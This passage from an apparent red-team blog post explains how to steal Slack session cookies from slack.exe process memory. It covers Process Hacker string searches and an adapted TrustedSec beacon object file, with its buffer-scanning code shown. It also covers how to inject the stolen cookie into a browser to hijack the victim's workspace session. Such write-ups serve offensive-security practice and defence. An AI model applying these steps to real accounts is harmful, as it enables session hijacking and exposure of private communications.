<code>xoxd-</code>. Using <a href="https://processhacker.sourceforge.io/">Process Hacker</a>, we can actually identify the cookie within memory of a running <code>slack.exe</code> process:</p><ol><li><p>Open the parent <code>slack.exe</code> process (on occasion, you may need to check the child Slack processes)</p></li><li><p>On the &#8220;<em>Memory&#8221; </em>tab, click &#8220;Strings&#8221; (and subsequently &#8220;OK&#8221; to gather results)</p></li><li><p>Click &#8220;Filter&#8221; and return only results that contain or start with the string <code>xoxd-</code> (Figure 2)</p></li></ol><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!ateC!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3153642f-c22f-4d45-9803-5aec82b8de37_1327x696.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!ateC!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3153642f-c22f-4d45-9803-5aec82b8de37_1327x696.png 424w, https://substackcdn.com/image/fetch/$s_!ateC!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3153642f-c22f-4d45-9803-5aec82b8de37_1327x696.png 848w, https://substackcdn.com/image/fetch/$s_!ateC!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3153642f-c22f-4d45-9803-5aec82b8de37_1327x696.png 1272w, https://substackcdn.com/image/fetch/$s_!ateC!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3153642f-c22f-4d45-9803-5aec82b8de37_1327x696.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!ateC!,w_2400,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3153642f-c22f-4d45-9803-5aec82b8de37_1327x696.png" width="1000" height="524.4913338357196" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/3153642f-c22f-4d45-9803-5aec82b8de37_1327x696.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:false,&quot;imageSize&quot;:&quot;large&quot;,&quot;height&quot;:696,&quot;width&quot;:1327,&quot;resizeWidth&quot;:1000,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-large" alt="" srcset="https://substackcdn.com/image/fetch/$s_!ateC!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3153642f-c22f-4d45-9803-5aec82b8de37_1327x696.png 424w, https://substackcdn.com/image/fetch/$s_!ateC!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3153642f-c22f-4d45-9803-5aec82b8de37_1327x696.png 848w, https://substackcdn.com/image/fetch/$s_!ateC!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3153642f-c22f-4d45-9803-5aec82b8de37_1327x696.png 1272w, https://substackcdn.com/image/fetch/$s_!ateC!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3153642f-c22f-4d45-9803-5aec82b8de37_1327x696.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><figcaption class="image-caption">Figure 2&#8202;&#8212;&#8202;Strings for the&nbsp;Win!</figcaption></figure></div><p>How can we make use of this discovery operationally on a red team engagement? Immediately, the <code>office_tokens</code> beacon object file (BOF) from TrustedSec&#8217;s<a href="https://github.com/trustedsec/CS-Remote-OPs-BOF"> </a><code>CS-Remote-OPs-BOF</code> repository comes to mind. This BOF simply reads the memory of a remote Office process and searches the returned buffer for JSON web tokens (JWTs) related to Microsoft services. The following snippet contains the BOF code iterating through the buffer and trying to find a match to a specific JWT prefix, <code>eyJ0eX</code>:</p><pre><code>for (index = 0; index &lt; (address_sz/2)-8; index++)
{
    if(buffer[index] == L'e' &amp;&amp; buffer[index+1] == L'y' &amp;&amp; buffer[index+2] == L'J' &amp;&amp; buffer[index+3] == L'0' &amp;&amp; buffer[index+4] == L'e' &amp;&amp; buffer[index+5] == L'X')
    {
        BeaconPrintf(CALLBACK_OUTPUT, "Office Token: %ls", buffer + index);
        index += MSVCRT$wcslen(buffer + index);
    }
}</code></pre><p>With just a few modifications to this code, we can leverage any command and control (C2) framework with BOF support to steal Slack cookies from running <code>slack.exe</code> processes (or browser processes, if the target isn&#8217;t using the desktop app) (Figure 3).</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!_BUu!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F144d39e8-ba02-4db2-919b-d5d95d803873_886x333.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!_BUu!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F144d39e8-ba02-4db2-919b-d5d95d803873_886x333.png 424w, https://substackcdn.com/image/fetch/$s_!_BUu!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F144d39e8-ba02-4db2-919b-d5d95d803873_886x333.png 848w, https://substackcdn.com/image/fetch/$s_!_BUu!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F144d39e8-ba02-4db2-919b-d5d95d803873_886x333.png 1272w, https://substackcdn.com/image/fetch/$s_!_BUu!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F144d39e8-ba02-4db2-919b-d5d95d803873_886x333.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!_BUu!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F144d39e8-ba02-4db2-919b-d5d95d803873_886x333.png" width="886" height="333" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/144d39e8-ba02-4db2-919b-d5d95d803873_886x333.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:333,&quot;width&quot;:886,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!_BUu!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F144d39e8-ba02-4db2-919b-d5d95d803873_886x333.png 424w, https://substackcdn.com/image/fetch/$s_!_BUu!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F144d39e8-ba02-4db2-919b-d5d95d803873_886x333.png 848w, https://substackcdn.com/image/fetch/$s_!_BUu!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F144d39e8-ba02-4db2-919b-d5d95d803873_886x333.png 1272w, https://substackcdn.com/image/fetch/$s_!_BUu!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F144d39e8-ba02-4db2-919b-d5d95d803873_886x333.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><figcaption class="image-caption">Figure 3&#8202;&#8212;&#8202;Same Cookie Retrieved via&nbsp;BOF</figcaption></figure></div><p>In addition to not having to deal with DPAPI complexities, this approach doesn&#8217;t require us to load any&nbsp;.NET tooling. The <code>slack_cookie</code> BOF and updated aggressor script can be found in this<a href="https://github.com/trustedsec/CS-Remote-OPs-BOF/pull/25"> pull request</a> to the <code>CS-Remote-OPs-BOF</code> repo.</p><p>After stealing the cookie, open up a browser and visit Slack or your target&#8217;s workspace URL. Use the browser&#8217;s developer tools or the<a href="https://www.editthiscookie.com/blog/2014/03/edit-a-cookie/#:~:text=Upon%20clicking%20on%20the%20cookie,button%20%E2%80%9CSubmit%20cookie%20changes%E2%80%9D%20."> EditThisCookie</a> extension to add a new cookie with the name <code>d</code> and your stolen cookie value. Ensure the cookie&#8217;s domain is set to&nbsp;<code>.slack.com</code>&#8202;&#8212;&#8202;in some instances, I found leaving this to the default <code>app.slack.com</code> or <code>&lt;workspace&gt;.slack.com</code> wouldn&#8217;t work (Figure 4).</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!-MqQ!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fae392695-9f81-43a2-b50c-7f83607a9fd0_1000x456.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!-MqQ!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fae392695-9f81-43a2-b50c-7f83607a9fd0_1000x456.png 424w, https://substackcdn.com/image/fetch/$s_!-MqQ!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fae392695-9f81-43a2-b50c-7f83607a9fd0_1000x456.png 848w, https://substackcdn.com/image/fetch/$s_!-MqQ!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fae392695-9f81-43a2-b50c-7f83607a9fd0_1000x456.png 1272w, https://substackcdn.com/image/fetch/$s_!-MqQ!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fae392695-9f81-43a2-b50c-7f83607a9fd0_1000x456.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!-MqQ!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fae392695-9f81-43a2-b50c-7f83607a9fd0_1000x456.png" width="1000" height="456" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/ae392695-9f81-43a2-b50c-7f83607a9fd0_1000x456.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:456,&quot;width&quot;:1000,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!-MqQ!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fae392695-9f81-43a2-b50c-7f83607a9fd0_1000x456.png 424w, https://substackcdn.com/image/fetch/$s_!-MqQ!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fae392695-9f81-43a2-b50c-7f83607a9fd0_1000x456.png 848w, https://substackcdn.com/image/fetch/$s_!-MqQ!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fae392695-9f81-43a2-b50c-7f83607a9fd0_1000x456.png 1272w, https://substackcdn.com/image/fetch/$s_!-MqQ!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fae392695-9f81-43a2-b50c-7f83607a9fd0_1000x456.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><figcaption class="image-caption">Figure 4&#8202;&#8212;&#8202;Loading Cookie&#8230;&nbsp;&#127850;</figcaption></figure></div><p>Refresh the page and it should now say you&#8217;re signed into the target space! Click &#8220;open&#8221; and now you can interact with your new Slack account on the web or in the desktop app (Figure 5).</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!vTZb!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F93970790-6424-4d20-9f86-52d9ed87ba00_1000x671.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!vTZb!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F93970790-6424-4d20-9f86-52d9ed87ba00_1000x671.png 424w, https://substackcdn.com/image/fetch/$s_!vTZb!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F93970790-6424-4d20-9f86-52d9ed87ba00_1000x671.png 848w, https://substackcdn.com/image/fetch/$s_!vTZb!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F93970790-6424-4d20-9f86-52d9ed87ba00_1000x671.png 1272w, https://substackcdn.com/image/fetch/$s_!vTZb!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F93970790-6424-4d20-9f86-52d9ed87ba00_1000x671.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!vTZb!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F93970790-6424-4d20-9f86-52d9ed87ba00_1000x671.png" width="1000" height="671" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/93970790-6424-4d20-9f86-52d9ed87ba00_1000x671.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:671,&quot;width&quot;:1000,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!vTZb!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F93970790-6424-4d20-9f86-52d9ed87ba00_1000x671.png 424w, https://substackcdn.com/image/fetch/$s_!vTZb!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F93970790-6424-4d20-9f86-52d9ed87ba00_1000x671.png 848w, https://substackcdn.com/image/fetch/$s_!vTZb!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F93970790-6424-4d20-9f86-52d9ed87ba00_1000x671.png 1272w, https://substackcdn.com/image/fetch/$s_!vTZb!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F93970790-6424-4d20-9f86-52d9ed87ba00_1000x671.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><figcaption class="image-caption">Figure 5 &#8211;Signed into the BloodHoundGang Slack!</figcaption></figure></div><h4>Cookie Theft on macOS&nbsp;Hosts</h4><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!-KX7!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe48e9149-b8c2-47a9-a359-992101c1dfed_500x500.jpeg" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!-KX7!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe48e9149-b8c2-47a9-a359-992101c1dfed_500x500.jpeg 424w, https://substackcdn.com/image/fetch/$s_!-KX7!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe48e9149-b8c2-47a9-a359-992101c1dfed_500x500.jpeg 848w, https://substackcdn.com/image/fetch/$s_!-KX7!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe48e9149-b8c2-47a9-a359-992101c1dfed_500x500.jpeg 1272w, https://substackcdn.com/image/fetch/$s_!-KX7!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe48e9149-b8c2-47a9-a359-992101c1dfed_500x500.jpeg 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!-KX7!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe48e9149-b8c2-47a9-a359-992101c1dfed_500x500.jpeg" width="500" height="500" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/e48e9149-b8c2-47a9-a359-992101c1dfed_500x500.jpeg&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:500,&quot;width&quot;:500,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!-KX7!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe48e9149-b8c2-47a9-a359-992101c1dfed_500x500.jpeg 424w, https://substackcdn.com/image/fetch/$s_!-KX7!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe48e9149-b8c2-47a9-a359-992101c1dfed_500x500.jpeg 848w, https://substackcdn.com/image/fetch/$s_!-KX7!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe48e9149-b8c2-47a9-a359-992101c1dfed_500x500.jpeg 1272w, https://substackcdn.com/image/fetch/$s_!-KX7!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe48e9149-b8c2-47a9-a359-992101c1dfed_500x500.jpeg 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><figcaption class="image-caption">No So&nbsp;Fast&#8230;</figcaption></figure></div><p>Since we can&#8217;t just read remote process memory on macOS (modern versions of Slack are protected by the hardened runtime, part of Apple&#8217;s notarization process), the cross-process cookie theft we demonstrated on Windows won&#8217;t fly. With the cookie decryption key stored in the user&#8217;s login Keychain, this line from Cody&#8217;s blog still <em>mostly </em>holds true:</p><blockquote><p>At least in macOS, this means that an attacker doesn&#8217;t <strong>just </strong>need access as the user account, but also needs to know the user&#8217;s plaintext password to decrypt the login Keychain to access the appropriate key.</p></blockquote><p>While in the process of writing this blog, Cody pointed me to some recent Keychain research he released at <a href="https://objectivebythesea.org/v5/">Objective by the Sea 5</a>. In it, he presents a unique tactic to retrieve Slack&#8217;s decryption key from the login Keychain <em>without</em> knowledge of the user&#8217;s password. Check out his<a href="https://www.youtube.com/watch?v=jKE1ZW33JpY"> presentation</a> or<a href="https://github.com/its-a-feature/LockSmith/blob/main/Lock%20Picking%20the%20macOS%20Keychain%20-%20OBTS.pptx"> slides</a> for more details.</p><p>In other cases, it&#8217;s likely you&#8217;re going to need the <code>Slack Safe Storage</code> key from the Keychain (Figure 6).</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" 